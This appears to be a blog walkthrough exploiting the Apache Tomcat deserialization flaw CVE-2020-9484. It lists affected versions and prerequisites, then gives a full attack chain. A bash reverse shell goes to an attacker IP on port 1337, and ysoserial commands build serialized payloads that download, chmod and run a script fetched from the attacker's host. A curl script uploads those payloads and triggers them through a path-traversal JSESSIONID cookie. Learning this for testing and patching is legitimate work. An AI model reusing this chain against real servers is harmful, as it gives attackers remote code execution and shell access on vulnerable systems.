Apache Tomcat Deserialization of Untrusted Data RCE (CVE-2020–9484)

Roman Romanenco
3 min readNov 11, 2020

a niche remote code execution via deserialization on Apache Tomcat

Affected versions:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104

i.e. versions pre-April 2020

Prerequisites to be vulnerable:

  1. The attacker is able to upload a file with arbitrary content, has control over the filename, and knows the location where it is uploaded.
  2. The PersistentManager is enabled and it’s using a FileStore
  3. The PersistentManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized

Note, in a default configuration, Tomcat will run with StandardManager . In some situations administrators may choose to configure the use of PersistentManager by editing the conf/context.xml file.

In a PersistentManageer implementation (org.apache.catalina.session.PersistentManager) sessions persist across restarts of the container, sessions are kept backed up on disk to allow recovery for fault tolerance. This configuration also lmits the number of sessions kept in memory by swapping less active sessions out to disk.

When Tomcat receives a HTTP request with a JSESSIONID cookie, it will ask the Manager to check if this session already exists. It will first check in memory, but then check on disk if it is not there. When it finds the session on disk, it will be retrieved and deserialized to parse the session information from it.

Side note, you may also try using this script which attempts to determine if prerequisites for the host are met and if the host is vulnerable. Personally I have not had much luck with it, https://github.com/osamahamad/CVE-2020-9484-Mass-Scan

Moving on, we need to upload a malicious serialized object to the internal location on the machine so that we can retrieve it via the JSESSIONID cookie for RCE. We generate the required objects with ysoserial https://github.com/frohoff/ysoserial

Create a payload file, I will use a simple bash reverse shell to port 1337,


bash -c "bash -I >& /dev/tcp/<MY KALI IP>/1337 0>&1"

Next, using ysoserial , we will create three files, one to download our payload, chmod our payload and one to execute it.


java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'curl http://<MY KALI IP>/payload.sh -o /tmp/payload.sh' > downloadPayload.session


java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session


java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session

From this point on, we can issue curl commands one by one to achieve our means, but I am going to automate this via a quick bash script.


curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'

Now with all these files in the same folder, set up a webserver for the payload downloaded by the target and a listener for the reverse shell.

Execute the curl script and voila we have remote code execution!




Roman Romanenco

Sometimes I write about my interests in the professional world. Topics span cybersecurity and ethical hacking, product management, and web3.